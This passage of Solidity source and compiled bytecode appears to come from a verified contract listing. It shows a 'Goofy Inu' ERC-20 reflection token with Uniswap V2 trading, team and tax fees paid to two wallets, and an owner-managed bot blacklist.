modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GoofyInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Goofy Inu";
string private constant _symbol = unicode"GOOF";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 4;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private _noTaxMode = false;
bool private inSwap = false;
uint256 private walletLimitDuration;
struct User {
uint256 buyCD;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_bots[from] && !_bots[to]);
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if (walletLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(5).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(5).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
tradingOpen = true;
walletLimitDuration = block.timestamp + (60 minutes);
}
function setMarketingWallet (address payable marketingWalletAddress) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[_marketingWalletAddress] = false;
_marketingWalletAddress = marketingWalletAddress;
_isExcludedFromFee[marketingWalletAddress] = true;
}
function excludeFromFee (address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = true;
}
function includeToFee (address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = false;
}
function setNoTaxMode(bool onoff) external {
require(_msgSender() == _FeeAddress);
_noTaxMode = onoff;
}
function setTeamFee(uint256 team) external {
require(_msgSender() == _FeeAddress);
require(team <= 4);
_teamFee = team;
}
function setTaxFee(uint256 tax) external {
require(_msgSender() == _FeeAddress);
require(tax <= 2);
_taxFee = tax;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
_bots[notbot] = false;
}
function isBot(address ad) public view returns (bool) {
return _bots[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x60806040526004361061016a5760003560e01c806370a08231116100d1578063c3c8cd801161008a578063cf0848f711610064578063cf0848f7146104fb578063db92dbb614610524578063dd62ed3e1461054f578063e6ec64ec1461058c57610171565b8063c3c8cd80146104a4578063c4081a4c146104bb578063c9567bf9146104e457610171565b806370a0823114610394578063715018a6146103d15780638da5cb5b146103e857806395d89b4114610413578063a9059cbb1461043e578063b515566a1461047b57610171565b8063313ce56711610123578063313ce5671461029a5780633bbac579146102c5578063437823ec146103025780634b740b161461032b5780635d098b38146103545780636fc3eaec1461037d57610171565b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101de57806323b872dd14610209578063273123b71461024657806327f3a72a1461026f57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105b5565b6040516101989190613285565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612daf565b6105f2565b6040516101d5919061326a565b60405180910390f35b3480156101ea57600080fd5b506101f3610610565b6040516102009190613407565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612d5c565b610621565b60405161023d919061326a565b60405180910390f35b34801561025257600080fd5b5061026d60048036038101906102689190612c95565b6106fa565b005b34801561027b57600080fd5b506102846107ea565b6040516102919190613407565b60405180910390f35b3480156102a657600080fd5b506102af6107fa565b6040516102bc919061347c565b60405180910390f35b3480156102d157600080fd5b506102ec60048036038101906102e79190612c95565b610803565b6040516102f9919061326a565b60405180910390f35b34801561030e57600080fd5b5061032960048036038101906103249190612cef565b610859565b005b34801561033757600080fd5b50610352600480360381019061034d9190612e38565b610915565b005b34801561036057600080fd5b5061037b60048036038101906103769190612cef565b610993565b005b34801561038957600080fd5b50610392610b0a565b005b3480156103a057600080fd5b506103bb60048036038101906103b69190612c95565b610b7c565b6040516103c89190613407565b60405180910390f35b3480156103dd57600080fd5b506103e6610bcd565b005b3480156103f457600080fd5b506103fd610d20565b60405161040a919061319c565b60405180910390f35b34801561041f57600080fd5b50610428610d49565b6040516104359190613285565b60405180910390f35b34801561044a57600080fd5b5061046560048036038101906104609190612daf565b610d86565b604051610472919061326a565b60405180910390f35b34801561048757600080fd5b506104a2600480360381019061049d9190612def565b610da4565b005b3480156104b057600080fd5b506104b9610fb4565b005b3480156104c757600080fd5b506104e260048036038101906104dd9190612e92565b61102e565b005b3480156104f057600080fd5b506104f96110a7565b005b34801561050757600080fd5b50610522600480360381019061051d9190612cef565b6115d2565b005b34801561053057600080fd5b5061053961168e565b6040516105469190613407565b60405180910390f35b34801561055b57600080fd5b5061057660048036038101906105719190612d1c565b6116c0565b6040516105839190613407565b60405180910390f35b34801561059857600080fd5b506105b360048036038101906105ae9190612e92565b611747565b005b60606040518060400160405280600981526020017f476f6f667920496e750000000000000000000000000000000000000000000000815250905090565b60006106066105ff6117c0565b84846117c8565b6001905092915050565b6000683635c9adc5dea00000905090565b600061062e848484611993565b6106ef8461063a6117c0565b6106ea85604051806060016040528060288152602001613b8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106a06117c0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fe59092919063ffffffff16565b6117c8565b600190509392505050565b6107026117c0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078690613347565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006107f530610b7c565b905090565b60006009905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661089a6117c0565b73ffffffffffffffffffffffffffffffffffffffff16146108ba57600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109566117c0565b73ffffffffffffffffffffffffffffffffffffffff161461097657600080fd5b80601060156101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d46117c0565b73ffffffffffffffffffffffffffffffffffffffff16146109f457600080fd5b600060056000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b4b6117c0565b73ffffffffffffffffffffffffffffffffffffffff1614610b6b57600080fd5b6000479050610b7981612049565b50565b6000610bc6600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612144565b9050919050565b610bd56117c0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5990613347565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f474f4f4600000000000000000000000000000000000000000000000000000000815250905090565b6000610d9a610d936117c0565b8484611993565b6001905092915050565b610dac6117c0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3090613347565b60405180910390fd5b60005b8151811015610fb057601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610e9157610e906137d6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610f255750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f0457610f036137d6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b15610f9d57600160066000848481518110610f4357610f426137d6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080610fa89061372f565b915050610e3c565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ff56117c0565b73ffffffffffffffffffffffffffffffffffffffff161461101557600080fd5b600061102030610b7c565b905061102b816121b2565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661106f6117c0565b73ffffffffffffffffffffffffffffffffffffffff161461108f57600080fd5b600281111561109d57600080fd5b8060098190555050565b6110af6117c0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461113c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113390613347565b60405180910390fd5b601060149054906101000a900460ff161561118c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611183906133c7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061121c30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006117c8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561126257600080fd5b505afa158015611276573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129a9190612cc2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156112fc57600080fd5b505afa158015611310573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113349190612cc2565b6040518363ffffffff1660e01b81526004016113519291906131b7565b602060405180830381600087803b15801561136b57600080fd5b505af115801561137f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a39190612cc2565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061142c30610b7c565b600080611437610d20565b426040518863ffffffff1660e01b815260040161145996959493929190613209565b6060604051808303818588803b15801561147257600080fd5b505af1158015611486573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114ab9190612ebf565b505050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161154d9291906131e0565b602060405180830381600087803b15801561156757600080fd5b505af115801561157b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159f9190612e65565b506001601060146101000a81548160ff021916908315150217905550610e10426115c9919061353d565b60118190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116136117c0565b73ffffffffffffffffffffffffffffffffffffffff161461163357600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006116bb601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886117c0565b73ffffffffffffffffffffffffffffffffffffffff16146117a857600080fd5b60048111156117b657600080fd5b80600a8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182f906133a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189f906132e7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119869190613407565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fa90613387565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6a906132a7565b60405180910390fd5b60008111611ab6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aad90613367565b60405180910390fd5b611abe610d20565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b2c5750611afc610d20565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f0b57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611bd55750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611bde57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c895750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cdf5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9b57601060149054906101000a900460ff16611d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2a906133e7565b60405180910390fd5b426011541115611d9a576000611d4883610b7c565b9050611d7a6064611d6c6002683635c9adc5dea0000061243a90919063ffffffff16565b6124b590919063ffffffff16565b611d8d82846124ff90919063ffffffff16565b1115611d9857600080fd5b505b5b6000611da630610b7c565b9050601060169054906101000a900460ff16158015611e135750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611e2b5750601060149054906101000a900460ff165b15611f09576000811115611eef57611e8a6064611e7c6005611e6e601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b61243a90919063ffffffff16565b6124b590919063ffffffff16565b811115611ee557611ee26064611ed46005611ec6601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b61243a90919063ffffffff16565b6124b590919063ffffffff16565b90505b611eee816121b2565b5b60004790506000811115611f0757611f0647612049565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fb25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611fc95750601060159054906101000a900460ff165b15611fd357600090505b611fdf8484848461255d565b50505050565b600083831115829061202d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120249190613285565b60405180910390fd5b506000838561203c919061361e565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120996002846124b590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156120c4573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121156002846124b590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612140573d6000803e3d6000fd5b5050565b600060075482111561218b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612182906132c7565b60405180910390fd5b600061219561258a565b90506121aa81846124b590919063ffffffff16565b915050919050565b6001601060166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121ea576121e9613805565b5b6040519080825280602002602001820160405280156122185781602001602082028036833780820191505090505b50905030816000815181106122305761222f6137d6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156122d257600080fd5b505afa1580156122e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061230a9190612cc2565b8160018151811061231e5761231d6137d6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061238530600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117c8565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016123e9959493929190613422565b600060405180830381600087803b15801561240357600080fd5b505af1158015612417573d6000803e3d6000fd5b50505050506000601060166101000a81548160ff02191690831515021790555050565b60008083141561244d57600090506124af565b6000828461245b91906135c4565b905082848261246a9190613593565b146124aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a190613327565b60405180910390fd5b809150505b92915050565b60006124f783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506125b5565b905092915050565b600080828461250e919061353d565b905083811015612553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254a90613307565b60405180910390fd5b8091505092915050565b8061256b5761256a612618565b5b61257684848461265b565b8061258457612583612826565b5b50505050565b600080600061259761283a565b915091506125ae81836124b590919063ffffffff16565b9250505090565b600080831182906125fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f39190613285565b60405180910390fd5b506000838561260b9190613593565b9050809150509392505050565b600060095414801561262c57506000600a54145b1561263657612659565b600954600b81905550600a54600c8190555060006009819055506000600a819055505b565b60008060008060008061266d8761289c565b9550955095509550955095506126cb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061276085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ff90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ac8161294e565b6127b68483612a0b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128139190613407565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b600080600060075490506000683635c9adc5dea000009050612870683635c9adc5dea000006007546124b590919063ffffffff16565b82101561288f57600754683635c9adc5dea00000935093505050612898565b81819350935050505b9091565b60008060008060008060008060006128b98a600954600a54612a45565b92509250925060006128c961258a565b905060008060006128dc8e878787612adb565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061294683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611fe5565b905092915050565b600061295861258a565b9050600061296f828461243a90919063ffffffff16565b90506129c381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ff90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612a208260075461290490919063ffffffff16565b600781905550612a3b816008546124ff90919063ffffffff16565b6008819055505050565b600080600080612a716064612a63888a61243a90919063ffffffff16565b6124b590919063ffffffff16565b90506000612a9b6064612a8d